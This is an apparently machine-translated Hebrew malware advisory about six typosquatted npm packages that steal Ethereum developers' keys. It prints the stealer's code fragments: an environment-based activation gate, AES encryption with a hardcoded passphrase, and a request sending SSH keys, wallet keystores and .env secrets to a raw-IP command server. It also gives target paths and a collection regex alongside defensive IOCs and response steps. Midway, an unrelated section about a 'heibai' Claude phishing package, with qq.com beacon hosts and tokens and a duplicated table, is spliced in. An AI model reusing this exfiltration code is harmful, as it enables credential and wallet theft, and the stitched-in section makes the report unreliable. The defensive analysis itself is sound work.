מתקפת Typosquatting של EVMDeFi npm גונבת מפתחות מפתחים

מתקפת Typosquatting של EVM/DeFi npm גונבת מפתחות מפתחים

TL; DR

ב-6 במאי 2026, מפרסם npm יחיד, namikazesarada010206, פרסם שש חבילות זדוניות המכוונות למערכת האקולוגית של מפתחי Ethereum, Solidity ו-DeFi.

החבילות, viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utils, ו web3-utils-core, השתמש בשמות הגיוניים שנועדו להיראות כמו ספריות עזר עבור כלי Web3 פופולריים.

כל שש החבילות הכילו את אותו הדבר telemetry.js קובץ. הקובץ היה זהה לבייטים ברחבי האשכול, עם SHA-256:

SHA-256 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1

התוכנה הזדונית לא מופעלת בזמן ההתקנה. אין preinstall or postinstall hook. במקום זאת, הוא מופעל כאשר החבילה מיובאת דרך require().

הפרט הזה חשוב.

ה-implant ממתין עד שמפתח ישתמש בפועל בחבילה. לאחר מכן הוא בודק האם תחנת העבודה נראית כמו סביבת פיתוח אמיתית של Ethereum / Solidity. הוא מחפש מפתחות Alchemy או Infura, מפתחות פרטיים, mnemonics, מפתחות deployer או ספריית Foundry מקומית.

אם המארח תואם, הגונב אוסף מפתחות פרטיים של SSH, מאגרי מפתחות של ארנקי Foundry / Geth / Brownie, .env* קבצים ומשתני סביבה רגישים. הוא מצפין את החבילה עם AES-256-GCM באמצעות סיסמה קשיחה ומעביר אותה לנקודת קצה גולמית של IPv4 C2 כאשר אימות TLS מושבת.

מערכת התרעה מוקדמת מפני תוכנות זדוניות (MEW) של Xygeni אישרה שכל שש החבילות כזדוניות. חבילת דוח ההסרה של הרישום npm ממתינה לאישור.

האשכול: שש חבילות, מו"ל אחד

חשבון המוציא לאור namikazesarada010206 היה מקושר לכתובת Gmail שלא אומתה namikazesarada010206@gmail.com.

הקמפיין הופיע כהתפרצות פרסום של יום אחד ב-6 במאי 2026. כל שש החבילות עברו גרסאות כ- 1.0.0, לא היו לו תלויות בזמן ריצה, ושלח רק שלושה קבצים:

package.json index.js telemetry.js

הם גם הכריזו על אותו מאגר מקורות:

https://github.com/harunosakura030303-maker/evmchain-config

שלוש החבילות הראשונות נתפסו על ידי סורקי MEW בפרסום הראשון. שלוש הנותרות סומנו בכפייה לאחר סקירת אנליסטים של פרופיל ה-npm של המפרסם. לאחר אותו פרופיל זהה לבייטים telemetry.js אושר ברחבי האשכול, הם נסגרו כזדוניים עקב עקביות.

חֲבִילָה גִרְסָה פורסם ב-npm כרטיס MEW פסק דין
ליבת ויים 1.0.0 2026-05-06 01:38:44Z #51049 זדוני
viem-utils-core 1.0.0 2026-05-06 #51050 זדוני
כלי ליבת hardhat 1.0.0 2026-05-06 #51051 זדוני
evm-utils 1.0.0 2026-05-06 #51069 זדוני, עקבי
כלי יציקה 1.0.0 2026-05-06 #51071 זדוני, עקבי
web3-utils-core 1.0.0 2026-05-06 #51070 זדוני, עקבי

אסטרטגיית מתן השמות פשוטה אך יעילה.

חבילות אלה אינן מתחזות לשמות מדויקים במעלה הזרם. במקום זאת, הן משתמשות בסיומות "תועלת" סבירות כגון -core, -utils, ו -utils-coreזה גורם להם להיראות כמו ספריות נלוות שמפתח עשוי לצפות לראות ליד כלי Web3.

חבילה זדונית מטרה לגיטימית
ליבת ויים viem, לקוח פופולרי של TypeScript של את'ריום
viem-utils-core ויים
כלי ליבת hardhat hardhat, סביבת פיתוח מרכזית של Solidity
evm-utils מרחב שמות של כלי EVM כללי
כלי יציקה יציקה, שרשרת כלים של Solidity
web3-utils-core web3-utils, עוזרי Web3.js

זוהי תבנית "החבילה המשלימה": לא "אני החבילה האמיתית", אלא "אני נראה כמו עוזר סביר סביב החבילה האמיתית".

עבור מפתחי DeFi הנעים במהירות, זה מספיק כדי ליצור סיכון.

מה קורה כאשר החבילה מיובאת

שרשרת ההתקפה קטנה, מכוונת וממוקדת בסביבות פיתוח קריפטו.

אין וו התקנה. במקום זאת, כל חבילה כוללת index.js שמייצא פונקציונליות של stub ולאחר מכן טוען את מודול הטלמטריה הזדוני.

require('./telemetry').init();

משמעות הדבר היא שהתוכנה הזדונית מופעלת בייבוא ​​​​הראשון.

זה שימושי מבחינה תפעולית עבור התוקף. סורקים וארגזי חול רבים מתמקדים בהתנהגות בזמן ההתקנה. חבילה זו ממתינה עד שהיא משמשת בפועל על ידי מפתח, סקריפט בנייה, חבילת בדיקות או נתיב זמן ריצה.

שער הפעלה: הפעלה רק בתחנות עבודה אמיתיות של מפתחי Web3

החלק החשוב ביותר של השתל הוא שער ההפעלה.

התוכנה הזדונית בודקת משתני סביבה הנמצאים בדרך כלל במחשבי מפתחי Ethereum / Solidity:

const indicators = [   process.env.ALCHEMY_API_KEY,   process.env.INFURA_KEY,   process.env.PRIVATE_KEY,   process.env.MNEMONIC,   process.env.DEPLOYER_KEY, ].filter(Boolean);

זה גם בודק אם נראה ש-Foundry מותקן:

fs.existsSync(path.join(os.homedir(), '.foundry'))

אם אף אחד מהתנאים אינו מתקיים, הפונקציה מחזירה ולא עושה דבר.

זה הופך את החבילה לשקטה יותר בסביבות ניתוח גנריות. ארגז חול ללא Foundry, מפתחות Alchemy, מפתחות Infura, מפתחות פרטיים או mnemonics עשוי לראות ייבוא ​​שנראה לא מזיק.

במארח תואם, התוכנה הזדונית ממתינה 60 עד 90 שניות לפני איסוף:

setTimeout(() => { try { _collect(); } catch {} },           60000 + Math.random() * 30000).unref();

העיכוב מפחית את המתאם הברור בין ייבוא ​​​​לחילוט. .unref() call גם מאפשר לתהליך המארח להיסגר כרגיל אם החבילה יובאה בסקריפט קצר מועד.

זו אינה התנהגות רועשת של "סמס ותפיסה". זוהי גניבה ממוקדת שנועד להימנע מהפעלה אלא אם כן סביבת המפתח שווה גניבה ממנה.

מה שהגנב אוסף

לאחר שעברנו את שער ההפעלה, הנוזקה אוספת נתונים ממקורות החשובים ביותר בפיתוח Web3: מפתחות פרטיים, מאגרי מפתחות לארנק, אישורי פריסה, סודות ענן, אסימוני npm ותצורת פרויקט מקומית.

מָקוֹר מה נאסף
process.env כל משתנה שתואם ל- /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i
~/.ssh/* קבצים המכילים PRIVATE KEY או BEGIN OPENSSH, כולל תוכן הקובץ המלא
~/.foundry/keystores/* קבצי אחסון מפתחות של ארנק Foundry
~/.ethereum/keystore/* קבצי אחסון מפתחות של ארנק Geth
~/.brownie/accounts/* קבצי אחסון מפתחות לארנק בראוני
${cwd}/.env תוכן הקובץ המלא
${cwd}/.env.local תוכן הקובץ המלא
${cwd}/.env.production תוכן הקובץ המלא
${cwd}/.env.development תוכן הקובץ המלא
os.hostname() מטא-נתונים של המארח
crypto.randomUUID() מזהה קורבן/סשן
תאריך.עכשיו() חותמת זמן של איסוף
otheve.beacon.qq.com oth.str.beacon.qq.com h.trace.qq.com

אסימוני ATTA הם:

ATTA_ID 00400014144 ATTA_TOKEN 6478159937

לא הצלחנו לאשר האם הטלמטריה הייתה של האנליטיקה של המפעיל עצמו או מערוץ מוניטיזציה נפרד. אסימוני ה-ATTA זהים בשתי הדגימות שבדקנו.

אשכול ב': הייבאי

פישינג OAuth של claude.hk + חטיפת URL של ANTHROPIC_BASE

המדגם של ה-1 באפריל הוא הזרוע הגולמית והמוקדמת יותר של הקמפיין.

heibai:2.1.88-claude.hk-4 פורסם על ידי wuguoqiangvip28, חשבון שנוצר ב-7 ביוני 2025. החבילה גרסה מפורשת של עצמה כנגד הגרסה הלגיטימית 2.1.88 שחרור אנתרופי.

זה לא מפריע ל-CA-cert MITM. במקום זאת, זה משקר למשתמש לגבי נקודת הקצה של OAuth.

התוספות הזדוניות בנוסף לקוד המקור של קלוד שדלף כוללות:

מָקוֹר מה נאסף
process.env כל משתנה שתואם ל- /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i
~/.ssh/* קבצים המכילים PRIVATE KEY או BEGIN OPENSSH, כולל תוכן הקובץ המלא
~/.foundry/keystores/* קבצי אחסון מפתחות של ארנק Foundry
~/.ethereum/keystore/* קבצי אחסון מפתחות של ארנק Geth
~/.brownie/accounts/* קבצי אחסון מפתחות לארנק בראוני
${cwd}/.env תוכן הקובץ המלא
${cwd}/.env.local תוכן הקובץ המלא
${cwd}/.env.production תוכן הקובץ המלא
${cwd}/.env.development תוכן הקובץ המלא
os.hostname() מטא-נתונים של המארח
crypto.randomUUID() מזהה קורבן/סשן
תאריך.עכשיו() חותמת זמן של איסוף

רשימת היעדים ספציפית מאוד. לא מדובר בגניבת דפדפנים כללית או גירוד אישורים נרחב. היא מכוונת למפתחים שבונים, בודקים, פורסים או מפעילים יישומי את'ריום.

הכללת קבצי מפתחות של Foundry, Geth ו-Brownie חשובה במיוחד. קבצים אלה יכולים לייצג גישה ישירה לארנקים או לזהויות פריסה. אם התוקף יכול לשלב אותם עם סיסמאות, זיכרון או סודות סביבה, ייתכן שהוא יוכל להעביר כספים, להתחזות למשתמשי פריסה או לפגוע בפעולות של חוזים חכמים.

הצפנה לפני חילוץ

התוכנה הזדונית מצפינה את הנתונים שנאספו לפני שליחתם.

const key = crypto.createHash('sha256').update(K).digest(); const iv = crypto.randomBytes(12); const cipher = crypto.createCipheriv('aes-256-gcm', key, iv);

סיסמת הסיסמה הקבועה היא:

a]3Fk9$mP2xL7vQ8nR4wJ6yB0tH5cE1d

המטען הסופי עטוף כ-JSON:

{"v":2,"iv":"<base64>","d":"<base64-ciphertext>","t":"<base64-gcm-tag>"}

הצפנה כשלעצמה אינה הופכת את הנוזקה למתקדמת יותר. עם זאת, היא מקשה על בדיקת הרשת. מגן הצופה ביציאה יראה מטען JSON, אך לא את המפתחות הגנובים, קבצי הארנק או... .env תוכן ללא סיסמה קשיחה ולוגיקת פענוח.

חילוץ ל-IPv4 גולמי C2

נתיב הסינון מקודד בקפידה:

const req = https.request({   hostname: '76.13.37.80', port: 8443,   path: '/api/v1/telemetry', method: 'POST',   headers: { 'Content-Type': 'application/json', ... },   rejectUnauthorized: false, timeout: 8000, }, () => {});

תוכנה זדונית שולחת נתונים אל:

https://76.13.37.80:8443/api/v1/telemetry

שני פרטים בולטים.

ראשית, ה-C2 הוא כתובת IPv4 גולמית ולא דומיין. זה מבטל את הצורך ברישום דומיין ומונע כמה גילוי מבוססי דומיין.

שנית, אימות TLS מושבת עם:

rejectUnauthorized: false

זה מאפשר לתוכנה הזדונית לקבל כל אישור, כולל אישורים חתומים עצמית. במילים אחרות, התוקף מקבל העברה מוצפנת מבלי להזדקק לאישור ציבורי תקף.

אין לוגיקת ניסיון חוזר ואין מארח גיבוי. שגיאות נבלעות בשקט. זה שומר על החבילה שקטה אם ה-C2 לא מקוון או בלתי נגיש.

למה הקמפיין הזה חשוב

רוב חבילות ה-npm הזדוניות המכוונות למפתחים רודפות אחר אישורים רחבים: אסימוני npm, מפתחות AWS, אסימוני GitHub, או .npmrc קבצים.

קמפיין זה מצמצם את היעד.

הוא מחפש סימנים לכך שהמכונה שייכת למפתח של את'ריום או סולידיטי. לאחר מכן הוא שולף בדיוק את הנכסים החשובים בסביבה זו: מאגרי מפתחות לארנק, מפתחות פרטיים, מנמוניקה, מפתחות פריסה, .env קבצים ומפתחות SSH.

זה הופך את הקמפיין למסוכן יותר עבור צוותי Web3 מאשר גונב npm גנרי.

זיהום מוצלח עלול לחשוף:

  • ארנקי פריסה
  • מפתחות ניהול חוזים חכמים
  • מפתחות ספק RPC
  • אישורי פריסת ענן
  • אסימוני פרסום של npm
  • גישת SSH למפתח או לתשתית בנייה
  • סודות הפרויקט המאוחסנים ב .env קבצים
  • חנויות מפתחות לארנק עבור Foundry, Geth או Brownie

שמות החבילות מראים גם הנדסה חברתית ברורה. הם מכוונים למערכת האקולוגית של מפתחי Web3 באמצעות שמות כלים מוכרים: viem, hardhat, foundry, evm, ו web3.

השחקן לא צריך להתפשר על הפרויקטים האמיתיים. הוא רק צריך מפתח שיתקין מה שנראה כמו חבילת עזר סבירה.

אינדיקטורים של פשרה וגילוי

חבילות ומוציא לאור
שדה ערך
מו"ל npm נמיקאזסארדה010206
כתובת הדוא"ל של המוציא לאור namikazesarada010206@gmail.com
אימייל מאומת לא
SCM מְאוּמָת לא
ציון מוניטין 1.0
מארזים viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utils, web3-utils-core
גרסאות כל 1.0.0
מאגר המקורות https://github.com/harunosakura030303-maker/evmchain-config
אושר כזדוני כל שש החבילות
רשת
סוּג ערך
נקודת קצה C2 https://76.13.37.80:8443/api/v1/telemetry
C2 IP 76.13.37.80
יציאת C2 8443/tcp
התנהגות TLS לדחותלא מורשה: שקר
סכמת מטען {"v":2,"ד": "ד": "ת": }
קבצים ו-Hashes
סוּג ערך
telemetry.js SHA-256 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1
פריסת החבילה package.json, index.js, telemetry.js
ספירת קבצים 3
גודל כולל משוער 3.4 KB

אותות הפעלה

התוכנה הזדונית בודקת את משתני הסביבה הבאים:

ALCHEMY_API_KEY INFURA_KEY PRIVATE_KEY MNEMONIC DEPLOYER_KEY

זה גם בודק:

~/.foundry/

נתיבי מארח ממוקדים

~/.ssh/* ~/.foundry/keystores/* ~/.ethereum/keystore/* ~/.brownie/accounts/* ${cwd}/.env ${cwd}/.env.local ${cwd}/.env.production ${cwd}/.env.development

רגקס אוסף

/TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i

הערות גילוי

מספר כללים לוכדים את הקמפיין הזה מבלי להזדקק לניתוח התנהגותי מלא.

ראשית, סרוק קבצי נעילה עבור ששת שמות החבילות הזדוניים:

viem-core viem-utils-core hardhat-core-utils evm-utils foundry-utils web3-utils-core

כל התאמה ב package-lock.json, yarn.lock, pnpm-lock.yaml, או node_modules יש להתייחס להיסטוריה כאל אירוע חמור.

שנית, יש לנטר תהליכי Node.js הקוראים נתיבי אחסון מפתחות של הארנק:

~/.foundry/keystores/ ~/.ethereum/keystore/ ~/.brownie/accounts/

זוהי לעיתים רחוקות התנהגות לגיטימית עבור חבילה שיובאה כתלות מסייעת. היא חשודה במיוחד כאשר היא מלווה בפעילות רשת יוצאת.

שלישית, חסמו או התראות על חיבורי HTTPS אל:

76.13.37.80:8443

במיוחד כאשר נתיב הבקשה הוא:

/api/v1/telemetry

רביעית, חפשו חבילות npm המשלבות את התכונות הבאות:

  • מו"ל חדש או בעל מוניטין נמוך
  • חשבון ג'ימייל לא מאומת
  • שם החבילה הסמוכה ל-Web3
  • אין היסטוריית מאגרים משמעותית
  • פריסת חבילה זעירה
  • index.js שטוען קובץ טלמטריה או קובץ עזר
  • אין תלויות בזמן ריצה
  • אוסף משתני סביבה רגישים
  • גישה לאחסון מפתחות ארנק

דפוס זה שימושי יותר מ-IOC יחיד מכיוון שהחבילה הבאה עשויה לשנות את כתובת ה-IP אך לשמור על אותה לוגיקת מיקוד.

רשימת תיוג לתגובה לפשרה

אם מפתח השתמש באחת משש החבילות והסביבה שלו תאמה את שער ההפעלה, יש להתייחס לתחנת העבודה כאל נפגעת.

זה כולל מכונות עם Foundry מותקן, מפתחות Alchemy או Infura בסביבה, מפתחות פרטיים, mnemonics או מפתחות פריסה.

תגובה מומלצת:

  • נתק את המארח מהרשת.
  • לשמור node_modules, קבצי נעילה, היסטוריית מעטפת ויומני רישום רלוונטיים לזיהוי פלילי.
  • סובב כל זוג מקשי SSH מתחת ~/.ssh/.
  • סובבו את מפתחות הארנק עבור כל מאגר מפתחות מתחת ~/.foundry, ~/.ethereum, ו ~/.brownie.
  • להעביר כספים לארנקים חדשים.
  • סובב כל סוד המאוחסן ב .env* קבצים במאגרים שבהם עבד המפתח.
  • סובב סודות סביבה התואמים את ה-regex של האוסף, כולל מפתחות AWS, אסימוני npm, אסימוני פריסה, מפתחות API, מפתחות פרטיים, זרעים ופונקציות זיכרון.
  • ביקורת על פעילות ענן, npm, GitHub, ספק RPC ובלוקצ'יין מאז התקנת החבילה לראשונה.
  • התקן מחדש את תחנת העבודה לפני שימוש חוזר.

מה שמגנים צריכים לקחת איתם

קמפיין זה מראה כיצד typosquatting של npm מתפתח סביב מערכות אקולוגיות בעלות ערך גבוה של מפתחים.

השחקן לא היה זקוק להתמדה. הוא לא היה זקוק לערפול. הוא אפילו לא היה זקוק לביצוע בזמן ההתקנה.

במקום זאת, הם הסתמכו על שלושה דברים:

  • שמות חבילות Web3 סבירים
  • הפעלה רק על מכונות פיתוח קריפטו אמיתיות
  • גניבה ישירה של הקבצים והסודות החשובים ביותר למפתחי את'ריום

זה הופך את הקמפיין לקל לפספס בסריקה רחבה ומסוכן כשהוא נוחת בסביבה הנכונה.

עבור צוותי Web3, הלקח ברור: התייחסו לשמות תלויות כחלק ממודל האיום שלכם. חבילה שנראית כמו עוזרת לא מזיקה עדיין יכולה להפוך לדרך הקצרה ביותר לפריצה לארנק.

דווח לרישום npm. נעדכן פוסט זה כאשר חשבון המפרסם והחבילות יוסרו.

כלי SCA לניתוח קומפוזיציה - תוכנה
תעדוף, תיקון ואבטחת סיכוני התוכנה שלך
קבל את החשבון החינמי שלך.
אין צורך בכרטיס אשראי.

אבטחו את פיתוח ואספקת התוכנה שלכם

עם חבילת המוצרים Xygeni